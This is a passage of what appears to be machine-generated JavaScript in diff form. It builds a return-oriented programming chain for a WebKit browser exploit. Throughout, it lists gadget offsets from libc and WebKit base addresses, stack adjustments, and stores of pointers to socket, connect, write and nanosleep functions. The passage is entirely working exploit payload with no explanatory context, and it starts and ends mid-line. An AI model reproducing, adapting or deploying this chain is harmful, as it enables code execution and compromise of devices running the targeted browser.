4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +write_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+187192, //L2920 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2920: +db([0, 0]); // 0x0 +//L2709: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +connect_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+188520, //L2921 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2921: +db([0, 0]); // 0x0 +//L2644: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +nanosleep_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+189848, //L2922 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2922: +db([0, 0]); // 0x0 +//L2651: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +socket_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+191176, //L2923 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2923: +db([0, 0]); // 0x0 +//L2906: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov 